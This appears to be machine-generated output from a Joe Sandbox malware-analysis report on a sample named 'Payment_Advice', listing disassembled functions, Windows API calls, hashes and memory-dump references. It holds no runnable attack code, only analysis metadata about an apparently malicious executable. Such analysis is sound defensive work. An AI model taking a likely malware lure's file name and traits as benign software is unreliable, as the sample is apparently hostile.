Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 910afb733312be2215f95a397105b0d9abc515eb4e3ce90437f5dc20a4e0e198
Instruction ID: 46d7766a57972f2a587ffd0973c831e15402942bc89b89d47249ee6e6333c7fd
Opcode Fuzzy Hash: 910afb733312be2215f95a397105b0d9abc515eb4e3ce90437f5dc20a4e0e198
Instruction Fuzzy Hash: 5711C133A006359B9B269E2CFC4185A7B96FF863607164621FC15AB3D4E630EC019BD2

Uniqueness

Uniqueness Score: -1.00%

Function 0051DA52 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0051DA57

Part of subcall function 00510659: _wcslen.LIBCMT ref: 0051066F

Part of subcall function 00507B0D: __EH_prolog.LIBCMT ref: 00507B12

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: c043c58c9e836cf1f2bfa84742aafdd463bfd1986a7ddd922ce8650893af62e5
Instruction ID: 70bdd2d1c43a123553a452cde46d89ff9339e9b4399e069898fbf45264d9178c
Opcode Fuzzy Hash: c043c58c9e836cf1f2bfa84742aafdd463bfd1986a7ddd922ce8650893af62e5
Instruction Fuzzy Hash: DD112B35904394AED710EBA4A82B7DC7FE0FB65315F00408EE504532C2DB751A88DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00509215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0050921A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b3c87c0e73e15b0796d2af52a0c1d638cf2261e4d6848789eaaf1421a55a8888
Instruction ID: be384b24cb8e8628da011dc73436383a7ae66062e10490edd94be605ccfb39d6
Opcode Fuzzy Hash: b3c87c0e73e15b0796d2af52a0c1d638cf2261e4d6848789eaaf1421a55a8888
Instruction Fuzzy Hash: 6501A537D0092AABCF11ABA8CD869DEBF32BFC8740F014515E812B7192DA348D00C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 0052C479 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0052B136: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00529813,00000001,00000364,?,005240EF,?,?,00541098), ref: 0052B177

_free.LIBCMT ref: 0052C4E5

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction ID: 0d792275870ad87ac29f98451578db158f54554caaf8c294c9faea7e44033370
Opcode Fuzzy Hash: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction Fuzzy Hash: 50012B722003155BE7319E55A88596AFFE8FFC6330F25091DE184832C1EA30A905C764

Uniqueness

Uniqueness Score: -1.00%

Function 0052B136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00529813,00000001,00000364,?,005240EF,?,?,00541098), ref: 0052B177

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 404e29ce76ccaa6b522bceb117ac1206d1dbabb3495588986c8574cb238ff9d4
Instruction ID: f9b3cfb1dbcdc2f4ce1e60dd716395db74fe9f97455eaf199dc3520e80333434
Opcode Fuzzy Hash: 404e29ce76ccaa6b522bceb117ac1206d1dbabb3495588986c8574cb238ff9d4
Instruction Fuzzy Hash: 6AF0903290553566FB215A62BC19B5A3F48BF83760F188111B808AA1D0CB60D921C2E0

Uniqueness

Uniqueness Score: -1.00%

Function 00523C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00523C3F

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: f2100371eff988595885d5c3555241888cc2be14dbabbd408c9dff6c7ba1f5f8
Instruction ID: 1e578643ef9e3c83d62c6954d9b9718dcd150b0a6fed76bbb148b8e7dd686fe4
Opcode Fuzzy Hash: f2100371eff988595885d5c3555241888cc2be14dbabbd408c9dff6c7ba1f5f8
Instruction Fuzzy Hash: D2F0A0322002269FCF158EA8FC0899A7FA9FF42B20B104124FA05F71D0EB35DE20D790

Uniqueness

Uniqueness Score: -1.00%

Function 00528E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00524286,?,0000015D,?,?,?,?,00525762,000000FF,00000000,?,?), ref: 00528E38

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3dd73d9eb779e3e1edc2a7e0e3a338a92b5b94fe120d06f14f7662cbe96b4f5b
Instruction ID: 4b4efa2e64a389b5ada37b393f6b3f1170fe6b1eb7d310b9183633ecca414c7c
Opcode Fuzzy Hash: 3dd73d9eb779e3e1edc2a7e0e3a338a92b5b94fe120d06f14f7662cbe96b4f5b
Instruction Fuzzy Hash: 4DE0303160723656D77126E5BC09B7B7E4CBF937A4F164111AC58962D1CF60DC0092E1

Uniqueness

Uniqueness Score: -1.00%

Function 00505ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00505AC2

Part of subcall function 0050B505: __EH_prolog.LIBCMT ref: 0050B50A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: dabb70910cb47b61f7af72e336f649930a4ab81c5f9df716754e0ad5b6cc0fd1
Instruction ID: 4fc13ae89c9fead06a8529cfbd12a99912aa365e2113e5bc321b41dee3aed597
Opcode Fuzzy Hash: dabb70910cb47b61f7af72e336f649930a4ab81c5f9df716754e0ad5b6cc0fd1
Instruction Fuzzy Hash: EC018C30810691DAE725E7B8C049BDDFFE4FFA4304F50848DA45A532C2DBB81B48D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00509620 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,005095D6,?,?,?,?,?,00532641,000000FF), ref: 0050963B

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 0bb6fe6152b1aa888c6679bb176e12bac66fb68e1d1070e3a814b4b871081c93
Instruction ID: 70436aa41083ef2c316ba14185f0a99271d4461d0d10a6794a182f3e1a6872aa
Opcode Fuzzy Hash: 0bb6fe6152b1aa888c6679bb176e12bac66fb68e1d1070e3a814b4b871081c93
Instruction Fuzzy Hash: 0BF0E2B04C1B459FDB308A60C44CB96BBE8BB12321F040B1ED4E7429E5D372698D8A40

Uniqueness

Uniqueness Score: -1.00%

Function 0050A56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0050A69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0050A592,000000FF,?,?), ref: 0050A6C4
Part of subcall function 0050A69B: FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,0050A592,000000FF,?,?), ref: 0050A6F2
Part of subcall function 0050A69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0050A592,000000FF,?,?), ref: 0050A6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0050A598

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: c8e44b448aefc53c44b64f5ae2ad16318acc8394b7d08d7450452a5eb67d8093
Instruction ID: ed27f840d91adece7d2a2210f5a6024dc739d61c9bbb4f73d359ada09e89331b
Opcode Fuzzy Hash: c8e44b448aefc53c44b64f5ae2ad16318acc8394b7d08d7450452a5eb67d8093
Instruction Fuzzy Hash: 70F05E36009791AADF2257B48909BCEBFA07F6A321F048A49F1F9521D6C26550989B23

Uniqueness

Uniqueness Score: -1.00%

Function 00510E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00510E3D

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 769505471277bd7a61888a9f90209f453625511d9c62ff7dea1ef9c75dae0ec2
Instruction ID: 0e2a0dda48d58b2ac5cd9a0971b5697e4bbea401b46110958c1f5b9bc4543970
Opcode Fuzzy Hash: 769505471277bd7a61888a9f90209f453625511d9c62ff7dea1ef9c75dae0ec2
Instruction Fuzzy Hash: 10D0C22060506616FB213329681D7FE2E0ABFD7310F0C0065B1495B2C2CA840CC6A265

Uniqueness

Uniqueness Score: -1.00%

Function 0051A626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 0051A62C

Part of subcall function 0051A3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0051A3DA

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: 403a687f28277f607defe4311f852341e52fbb81fb16b431307e25b3579af7d3
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: D5D0A93060120ABAFF036B318C07AEE7EA9FB40340F008421BC42C5181EAB1DD90A262

Uniqueness

Uniqueness Score: -1.00%

Function 0051DD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00511B3E), ref: 0051DD92

Part of subcall function 0051B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0051B579
Part of subcall function 0051B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0051B58A
Part of subcall function 0051B568: IsDialogMessageW.USER32(00010440,?), ref: 0051B59E
Part of subcall function 0051B568: TranslateMessage.USER32(?), ref: 0051B5AC
Part of subcall function 0051B568: DispatchMessageW.USER32(?), ref: 0051B5B6

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 5b6cf01313a5ff6c2129eb93c3539d7ea0b63d0a8c1a43cb9d56a7e9e82cfc23
Instruction ID: fc7bb56dc6948f56d80a6762705b2ecd3483fbaa732d4b8bc5ff8499c4b5cd15
Opcode Fuzzy Hash: 5b6cf01313a5ff6c2129eb93c3539d7ea0b63d0a8c1a43cb9d56a7e9e82cfc23
Instruction Fuzzy Hash: E5D09E75144301BAEA012B51CD0AF5E7AA2BB99B08F004954B384740F18AB29DA5EB11

Uniqueness

Uniqueness Score: -1.00%

Function 0051E5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 0051E5E3

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 967e8b587f26a3611420714fe68d1c17318cf0146241a4ee30b4123dcff67e0b
Instruction ID: 77cb3640bf54997d79a418d728f11a0b6890e50851118f5c06baa27ccdc21815
Opcode Fuzzy Hash: 967e8b587f26a3611420714fe68d1c17318cf0146241a4ee30b4123dcff67e0b
Instruction Fuzzy Hash: B6D0C9B01C0A819AF611EBACA84BFAC7EA6B374704F980501F94592591DBA488C4E60D

Uniqueness

Uniqueness Score: -1.00%

Function 005098BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,005097BE), ref: 005098C8

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: e4f5cb3e3713518502864629c4b39c94280f104fb39b8fc4bc6da62083cda754
Instruction ID: 3f83ae82fa8b371c7a1891c60e3b9d55651552dcce2cbefd3292017ba03950ba
Opcode Fuzzy Hash: e4f5cb3e3713518502864629c4b39c94280f104fb39b8fc4bc6da62083cda754
Instruction Fuzzy Hash: 4EC0127440020586CE208A24984809D7B22BFA33B67B4C694D028892E6C332CC8BEA00

Uniqueness

Uniqueness Score: -1.00%

Function 0051EAE7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051EAF9

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4ecdeb4de36784aaf12df7fd7aae181055b4b5fef225ed0e460b8e7397099fbc
Instruction ID: 6e3e9deb698678a115b057248ef35bdb139d7c5a01019eadc7ea263a3f528341
Opcode Fuzzy Hash: 4ecdeb4de36784aaf12df7fd7aae181055b4b5fef225ed0e460b8e7397099fbc
Instruction Fuzzy Hash: 1BB012C629A0437C3204A2041D0FC7B0E4CF8C1FA0730C42EFC00D4081DC811C870431

Uniqueness

Uniqueness Score: -1.00%

Function 0051E44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E3FC

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 91959be5000ddc508665b379a0595ab0ad89ad004055d68f9d65c883b0b5ad3f
Instruction ID: 1fd7e4c1077742809964f39fdd1740c285bf493bbf45ff8566bc905dc8529a3f
Opcode Fuzzy Hash: 91959be5000ddc508665b379a0595ab0ad89ad004055d68f9d65c883b0b5ad3f
Instruction Fuzzy Hash: 2CB012E125C011FC320491085D0BC770F4CF5C0B30330C82EFC14D2080D8405C8A0533

Uniqueness

Uniqueness Score: -1.00%

Function 0051E419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E3FC

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2a477607aa08043b6c7fba702584e909a2ece5f027a9560e45efa0ce33259840
Instruction ID: 4acc5d5e1d7db53e01a965bda49c0e46eac4b1730f969caa8da5ddd8e82a5c35
Opcode Fuzzy Hash: 2a477607aa08043b6c7fba702584e909a2ece5f027a9560e45efa0ce33259840
